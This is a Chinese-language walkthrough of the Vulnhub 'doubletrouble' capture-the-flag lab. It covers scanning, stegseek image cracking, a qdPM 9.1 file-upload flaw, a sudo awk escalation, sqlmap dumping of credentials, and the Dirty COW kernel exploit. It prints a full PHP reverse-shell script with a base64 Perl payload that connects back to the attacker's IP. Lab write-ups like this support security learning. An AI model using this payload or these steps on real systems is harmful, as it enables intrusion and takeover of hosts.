Vulnhub实战-doubletrouble靶机👻
阅读原文时间:2021年10月12日阅读:1

Vulnhub实战-doubletrouble靶机

靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/

下载页面的ova格式文件导入vmware,或者vitrualbox打开即可

1.靶机描述

描述
回到顶部
获得标志
难度:容易
关于 vm:从 virtualbox 测试并导出。dhcp 和嵌套 vtx/amdv 启用。您可以通过电子邮件与我联系以进行故障排除或问题。
这对 VirtualBox 比 VMware 更有效


这里有个小tips:因为这个ova格式文件是从vitrualbox虚拟机里面导出来的,所以你如果在vmware里面打开就接收不到
ip地址,因为vitrualbox的网卡名字是eth什么的,后面接数字一般。然后vmware的网卡名字一般是ens开头,所以你在
vitrualbox导出的虚拟机在vmware打开就不会自动获取IP,你需要把网卡改成一致然后重启才能获取IP。如果不会改网
卡,请参考下面链接:
https://blog.csdn.net/PeterWuu/article/details/105640638
这个教程第二步好像是:rw single init=/bin/bash
应该不是i,教程上面写的是i,可能作者手误吧!

2.进行主机发现,端口扫描

首先我们把虚拟机导入vmware或者vitrualbox,这里我是导入的vmware,然后开启它就好了

  1. 进行主机探测

nmap -sn 192.168.33.0/24

我这里局域网的虚拟机比较多,如果你的局域网虚拟机也比较多分辨不出来的话,你可以通过mac地址去匹配对应的ip地址,mac地址在虚拟机设置里面可以看到

  1. 进行端口扫描

nmap -sS -p- -v -O 192.168.33.163

我们可以看到开启了22和80端口,证明开启了SSH和web服务,这里前面文章有提到,你可以尝试试试暴力破解SSH的用户名密码,用kali自带的hydra工具,经过我上一次尝试,发现机率微乎其微,除非用的是admin:123456这样的弱口令。

3.web服务检测

我们访问ip地址192.168.33.163得到如下页面

我们还是首先用dirsearch目录扫描一下

python3 dirsearch.py -u 'http://192.168.33.163' -i 200

我们可以看到果然扫出了一下常见目录,挨个目录查看,都没有发现什么东西,最后发现/secret/目录下面有一张图片,百度发现可以用stegseek工具来暴力破解这张图片。

下载参考链接:https://www.freebuf.com/sectool/261633.html

然后我们通过kali自带的字典rockyou.txt,这个字典在kali的/usr/share/wordlist目录下面,是一个压缩包,需要先进行解压

stegseek /root/doubletrouble.jpg /usr/share/wordlists/rockyou.txt -xf output

我们破解完这张图片之后生成一个output文件,发现里面有一个用户名跟密码,不用猜肯定是刚刚那个登录页面的用户名密码,我们来试一试吧!

登陆进去之后发现一个文件上传,在个人设置里面

qdPM漏洞利用

在一开始的登陆页面我们可以看到有个qdPM 9.1,搜索qdPM 9.1的漏洞,我们找到一个远程代码执行漏洞。https://www.exploit-db.com/exploits/50175, 把脚本下载下来。这个脚本的回车有点问题,需要自己调一下。不过,这个漏洞也挺简单的,其实就是用户的myAccount界面的图片那一栏是可以上传文件的,那我们就可以上传一个php反弹shell的脚本。

这里我不知道啥情况,反正这个脚本我搞不明白,python脚本怎么上传php反弹shell呢,如果有大佬知道还望告知,这里我找到一个php的反弹shell的脚本,大家改一下ip,端口就可以直接上传用了。

<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.33.217";
$yourport = '10086';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

这里比较搞笑的是,无论是跑脚本还是自己手动上传,网页和代码的反馈都会让你觉得自己是不是没有上传成功。会报错,但是其实已经上传成功了。

上传之后脚本在刚刚开始我们目录扫描的那个/uploads/users目录下

然后kali监听10086端口,这个端口是你脚本自己设置的端口。

nc -lnvp 10086

提权

接下来我们看一下当前用户能够使用的sudo权限,这里显示当前用户可以免密执行awk命令

搜索一下awk提权,我们可以这样:

sudo awk 'BEGIN {system("/bin/bash")}'

我们可以看到此时我们已经是root用户了,看看root文件夹,发现了一个ova文件,百度看了大佬博客才知道这又是一个虚拟机,好家伙!不愧是doubletrouble啊,果然跟题目还有点呼应,我们下载下来这个虚拟机文件在vmware中开启。

我们在靶机中开启http服务功能,然后kali通过wget下载下来,下载下来之后在vmware中开启靶机。然后还是之前的步骤,扫描主机ip,端口,服务。

python3 -m http.server 9000

wget http://192.168.33.163:9000/doubletrouble.ova

如下是python -m的用法:

1.进行主机探测

nmap -sn 192.168.33.0/24

2.端口,服务发现

nmap -sS -p- -v -O 192.168.33.252

3.web服务测试

首先我们通过端口扫描发现开启了80端口,说明存在http服务,我们访问ip地址,看到如下一个登录框页面:

这里让我们输入用户名密码,然而我们并不知道账户名也不知道密码。尝试扫描网站目录发现没有额外的信息,就只有这么一个网站。

sqlmap注入获取用户名密码

我们还想到有一个神器sqlmap,通过sqlmap看看这个登录框存不存在注入,抓包保存文件1.txt,在kali里面打开sqlmap扫描,命令如下:

sqlmap -r /root/1.txt --current-db      //爆出数据库名doubletrouble
sqlmap -r /root/1.txt -D doubletrouble --tables    //爆表
sqlmap -r /root/1.txt -D doubletrouble -T users --columns   //爆字段
sqlmap -r /root/1.txt -D doubletrouble -T users --dump    //爆内容

我们看到这里有两对密码,第一对似乎没啥用,第二对能够连上ssh

ssh clapton@192.168.33.252

提权

我们看了一下,这个用户只是普通用户,目录下面有一个user.txt,里面是一串字符,我们接下来就是想办法拿到root权限,看看root文件夹有什么东东。我们先看看系统版本

uname -a

这里有个脏牛漏洞,漏洞编号CVE-2016-5195漏洞类型内核竞态条件漏洞漏洞危害本地提权影响范围Linux kernel>2.6.22。该漏洞是Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。黑客可以获取低权限的本地用户后,利用此漏洞获取其他只读内存映射的写权限,进一步获取root权限。他有很多个poc,其中这个poc可以生成一个账号名为firefart的root用户,https://github.com/FireFart/dirtycow

我们把poc下载到靶机的/tmp目录下,然后编译,执行。

这里因为靶机没有git,wget,yum这些命令,所以我们可以把代码复制下来,在靶机通过touch dirty.c创建一个c文件,然后粘贴进去,编译执行就行了。

gcc -pthread dirty.c -o dirty -lcrypt
./dirty
su firefart
//中间会让我们输入一个密码,这个密码就是firefart的密码,然后我们登录就可以了


手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章